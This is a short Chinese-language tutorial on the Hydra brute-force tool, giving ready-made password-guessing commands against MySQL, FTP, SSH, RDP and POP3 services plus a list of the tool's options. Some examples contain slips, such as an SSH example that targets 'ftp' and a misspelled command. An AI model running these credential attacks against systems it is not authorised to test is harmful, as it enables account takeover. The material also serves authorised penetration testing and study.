linux补全之--hydra的运用

linux下很简单的暴力破解工具，能不能破解主要看字典。

hydra语法： hydra -[参数] IP（主机） 服务

1、破解Mysql：

hydra -L c:\user.txt -P c:\pass.txt 192.168.0.1 mysql

-L：指定用户名字典

-P：指定密码字典

2、破解FTP密码：

hydra -L c:\user.txt -P c:\pass.txt -t 5 192.168.0.1 ftp

-l：指定用户名

-t：指定线程

3、破解ssh：

hydra -L c:\user.txt -P c:\pass.txt -e n -t 5 -vV 192.168.0.1 ftp

-e n：进行空密码探测

4、破解rdp（3389）

hydr -l administrator -P c:\pass.txt -e n -t 5 www.xxx.com rdp -V

破解www.xxx.com的3389端口

5、破解pop3：

hydra -l root -P pass.txt my.pop3.mail pop3

在未指定文件绝对路径，hydra会在本目录去查找文件

hydra详细参数：

-R： 继续上一次进度开始破解

-S：（大写）：采用ssl连接

-s port：如果非默认端口可通过这个参数指定

-l login：小写，指定用户破解

-L file：大写，用指定的用户名字典

-p pass：小写，用于指定密码破解，少用，一般采用密码字典

-P file：大写，用于指定密码字典

-e ns：额外选项，n：空密码试探，s：使用指定账户和密码试探

-C file:使用冒号分割格式，例如“登录名：密码”来代替-L/-P参数

-N file：指定目标列表文件（一行一条）

-o file：指定结果输出文件

-f ：找到第一对登录名或者密码时终止破解

-t tasks：同时运行的线程数，默认16

-w time：设置最大超时时间，单位秒，默认30s

-V/-v： 显示详细过程

server ：目标ip

service：指定服务器名，支持的服务和协议有：telnet,ftp,pop3,imap,smb,smbnt,mssql,mysql,pcanywhere,teamspeak,si等